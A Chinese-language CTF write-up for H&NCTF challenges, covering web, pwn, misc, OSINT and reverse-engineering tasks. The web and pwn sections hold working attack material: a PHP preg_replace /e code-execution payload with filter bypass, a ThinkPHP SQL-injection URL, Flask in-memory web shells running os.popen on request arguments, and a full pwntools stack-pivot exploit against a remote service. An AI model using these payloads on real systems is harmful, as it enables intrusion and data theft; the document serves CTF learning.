Web

Please_RCE_Me

Screenshot 2024-05-12 131227.png

    GET传参输入?moran=flag,之后获取源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}
    这个是RCE吗?

    审一审。成功找到了漏洞点,preg_replace("/please_give_me_flag/ei",![](https://www.yuque.com/api/services/graph/generate_redirect/latex?_POST%5B'task'%5D%2C#card=math&code=_POST%5B%27task%27%5D%2C&id=o3Kvv)_POST['flag']);可以看到,存在/e模式,再看看PHP版本,5.6.40,可能存在/e的命令执行漏洞。

    前面,需要绕的Waf第一个为:
1
preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |.|include|require|flag/i',$str1)
    这个绕过先放放,看看后面两个:

strlen(str2) != 19 || preg_match(‘/please_give_me_flag/‘,str2)

    因为都是逻辑或,所以得让他们都为False,刚好,please_give_me_flag 长度为19,第二个正则刚好是大小写敏感,所以大小写混合绕过。

    然后就是补充下关于/e模式的问题:

preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行

    最后尝试下phpinfo:
1
2
//POST传参
flag=Please_give_me_flag&task=phpinfo()

Screenshot 2024-05-12 132313.png

    成功打出组合拳。

    再回头看看第一个过滤,看上去几乎把所有的shell函数都过滤了。推测flag在根目录,那么学着使用无参数RCE的方式打这套组合拳,payload如下:

flag=Please_give_me_flag&task=chdir(“/“)|highlight_file(scandir(pos(localeconv()))[7])

最后得到flag

Screenshot 2024-05-12 132839.png

ez_tp(复现)

看起来像是thinkphp的题,不过,是非预期的题,用平常的payload一把梭怕是不对,所以,还能怎么搞?下在附件下来审审吧。
在附件/ez_tp/App/Home/Controller中存在IndexController.class.php文件,打开看看:
这应该是一个路由吧:

1
public function h_n()

路由应该是h_n,那么,应该怎么打呢?不知道为啥,复现的时候日志找不到了,看dalao们的wp的时候,都说的是根据后台的日志有payload,但是现在跑去找又找不到了。
继续往后面审计,发现了如下代码

1
$name = I('GET.name');

好,知道了需要通过get传参,还是GET传参。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
return $bool;

这里大概审一下就是,检测所有的键值对中,是否存在黑名单字段,所以,我们传入的参数键值对都不能出现黑名单字段,因此,文件包含和RCE没法打,再看看下面的这段代码:

1
2
3
4
5
6
if (waf()){
$this->index();
}else{
$ret = $User->field('username,age')->where(array('username'=>$name))->select();
echo var_export($ret, true);
}

猜测应该这儿应该有个sql注入存在,并且没有过滤select,所以,根据thinkphp的以前的payload,以及大佬的wp中说的日志中的信息,可以得知payload为:

1
/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

最后得到了flag: array ( 0 => array ( ‘username’ => ‘1’, ‘age’ => ‘H&NCTF{Cjp_6c3114ee-23e1-459b-ad88-9b29ccfde934}’, ), )

ezFlask(复现)

题目没出flask,但是好在了解了一个新的flask的ssti的姿势,记录在这儿,不知道为啥,跟着wp复现,却还是失败了,先记录吧,之后再改。
首先,打开网页就给了个提示:
:::info
冒险即将开始!!! 请移步/Adventure路由进行命令执行,后端语句为: cmd = request.form[‘cmd’] eval(cmd) 注意,你仅有一次机会,在进行唯一一次成功的命令执行后生成flag并写入/flag 执行无回显,目录没权限部分命令ban,也不要想着写文件~
:::

失败情况:

大概跟他提示的一样,就是一个命令执行,不过没思路,很可惜,看了下wp,说的是写入内存马到一个路由里,但是我复现却失败了,不知是为何,他给的内存马的payload能成功写入,并且能访问到写入的路由,但是,却会报500错误,不知是为何,等官方wp出了再看看是为啥吧,payload先写在下面。

1
cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

成功情况:

找到了另一个payload,同样是内存马,payload如下:

1
cmd=app.add_url_rule('/test','test',lambda:__import__('os').popen(request.args.get('cmd')).read())

之后访问/test?cmd=cat+/flag成功出flag:flag{42ae8a8b-4f88-4c45-a162-bd1881da16ea}。

Pwn:

close

    逆天题目,纯牛马出题人,想暴打。

    拿到题目第一件事儿是检查保护,这个题保护也就那样,PIE加NX。
1
2
3
4
5
6
7
root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
    反编译看看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall main(int argc, const char **argv, const char **envp)
{
puts("**********************************");
puts("* Welcome to the H&NCTF! *");
puts("**********************************");
puts("* ***** *");
puts("* * * *");
puts("* * o o * *");
puts("* * v * *");
puts("* * * * * *");
puts("* * * * * * * * *");
puts("**********************************");
puts("* Do you know close? *");
puts("**********************************");
close(1);
system("/bin/sh");
return 0;
}
    这题目什么玩意儿?关闭了标准输出流还玩儿毛线?

    算了,老老实实干就完了。经过长时间查找资料,最后找到了做法。
1
2
3
4
5
6
root@g01den-virtual-machine:/mnt/shared# nc hnctf.imxbt.cn 35345
ls
ls: write error: Bad file descriptor
exec 1>&0
cat flag
H-NCTF{8d409dad-4b2f-4687-9f17-8b450a76946c}
    心中暗暗暴打出题人两分钟泄愤。    (* ̄︿ ̄)

ez_pwn(复现,exp是大佬的,有时间自己再写个exp)

看到这个题,我突然觉得我是个执杖,我还以为是出题人故意搞我心态,结果是我学艺不精的缘故,好吧,我的问题,没看出来,我摊牌了,我是个XX。
好吧,老样子,Ubuntu启动!!!
还是先查看保护:

1
2
3
4
5
6
7
root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

然后IDA反编译,漏洞函数为:

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-2Ch] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

发现了点东西,就是,这里存在一些问题,就是,read函数读取的数据为48字节,但是,经过动态调试得出的缓冲区s的大小为44字节,好好好,IDA你又得记大过了。
之后,第一次不需要溢出,将缓冲区全部写满即可,因为存在%s这个格式串配合printf函数,所以,能够直接把rbp的值给打印出来,所以只需要接收之后,就可以拿到rbp的值了,然后,通过动态调试得到的rbp的地址与缓冲区buf的地址,就可以拿到字符串的地址了。
Screenshot 2024-05-14 234816.png
Screenshot 2024-05-14 234826.png
接收到了rbp的值之后,减去56就可以得到字符串的地址了。
之后则是需要通过栈调用read函数,向bss段写入sh;(这里我没弄懂为啥不能直接传/bin/sh,而是要传sh;进去),之后重新调用main函数重新运行程序,不过,到了这里之后会出一点问题,那就是,第二次进入main之后,栈的布局会发生变化,重新进入vul函数之后,里面的指针指向的是vul函数内的字符串,而不是之前那个,所以这里需要重新进行一次字符串地址的泄露,之后才能对栈进行布局来调用system函数。
大佬的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.yuanshen.life"
PORT = 33070

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

ru("Welcome to H&NCTF, my friend. What's your name?")

payload = "A" * 0x2c
s(payload)
ru(payload)

leak = u32(r(4))
buf_addr = leak - (0xfff93748 - 0xfff93710)
success(f"buf_addr ->{hex(buf_addr)}")

read = elf.plt['read']
vuln = 0x08048639
bss = 0x804a000
system = 0x0804857D

payload = p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)
s(payload)


time.sleep(0.3)
# g(p)
s(b'sh;\0')

ru("Welcome to H&NCTF, my friend. What's your name?")
payload = "A" * 0x4
s(payload)
ru(payload)

buf_addr = buf_addr
success(hex(buf_addr))


buf_addr = buf_addr - (0xffb45f80 - 0xffb45f4c)


payload = p32(system) + p32(bss) + p32(bss)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)

# g(p)
s(payload)

p.interactive()

最后得到flag:

1
H&NCTF{06b0540d-df19-4b49-9e63-fb7b8b67f8f9}

Misc:

ManCraft - 娱乐题:

    一个我的世界的服务器,下载1.20.4版本之后进入服务器,根据提示,先绑定队伍的token,之后迅速发育,然后勾引金甲僵尸,也就是劳大,把它勾引到陷阱里杀死,然后就能够拿到一个key,之后用这个key就能拿到flag。

Screenshot 2024-05-12 155018.pngScreenshot 2024-05-12 155005.png

osint(复现):

onist.png
onist.png
溯源的题,一张图片,光是图片来看,似乎只有两种可能,起飞或者降落,又因为题目要求我们输入目的地,所以,如果是难度不高的话,这儿应该是目的地。
检查图片属性,发现这张照片最后依次的修改时间是4月23日下午3点多,这张照片很明显是晚上拍摄的,所以,照例来说,这张图应该是在之前的晚上拍摄的,所以,先从4月22日晚上到23日凌晨的航班来看。
另外,根据机翼上红色的那个红色的图,在网上找到了应该是海南航空的飞机,且左边数字,有个22,大概推测注册号是X-22XX,左边的字母,好像是根据国家不同定的,中国的是B。
之后,搜索注册号为B-22,能够知道有几个:
Screenshot 2024-05-14 230753.png
之后,通过搜索4月22日晚上到4月23日凌晨那段时间的海南航空的飞机,大致可以得到航班号为HU7006。
拿到了航班之后,通过航班和时间搜索,能搜到起始地和目的地,目的地是海口美兰国际机场。
最后,感觉运气使然,在机场附近遇到个有点眼熟的路的弧度,抱着试一试的想法,把地址写上去,结果正确了:
Screenshot 2024-05-14 231654.png
最后flag:

1
H-NCTF{ae53219d0966}

Re

最喜欢的逆向题

签到题
v1=a1[5]=105
64位
image.png
image.png

image.png

hnwna

image.png
一个CSharp写的小游戏
方法一:
用ILSPY打开下面的文件
image.png
搜索找到关键函数了(一开始搜索区域不对,导致找不到关键函数)
image.png

函数a为凯撒,if判断那里移位为5
image.png
加密

image.png
方法二:dnspy,类似于破解

DO YOU KNOW SWDD?(wait)

32位打开ida,出现SMC。
image.png
动态调试
image.png
在导入表中有virtualprotect函数,这里对内存权限进行了修改,大概率是SMC。
image.png
看41127B函数(断点位置下错了,照着wp都能错,服了)

image.png
看4113D9
image.png
image.png
p然后f5
image.png
可知是凯撒移位10位
image.png

childmaze

image.png
迷宫问题
方法一:静态分析
找到关键数据部分(不易找到),交叉引用

1
2
3
4
s = "H'L@PC}Ci625`hG2]3bZK4{1~"

for i in range(len(s)):
print(chr(ord(s[i]) ^ (i % 7)), end="")

方法二:调试
在判断跳转的时候下个断点修改zf标识符或者改为jnz都能实现直接输出flag
emmIDA 版本问题吧,识别不出rust。。。。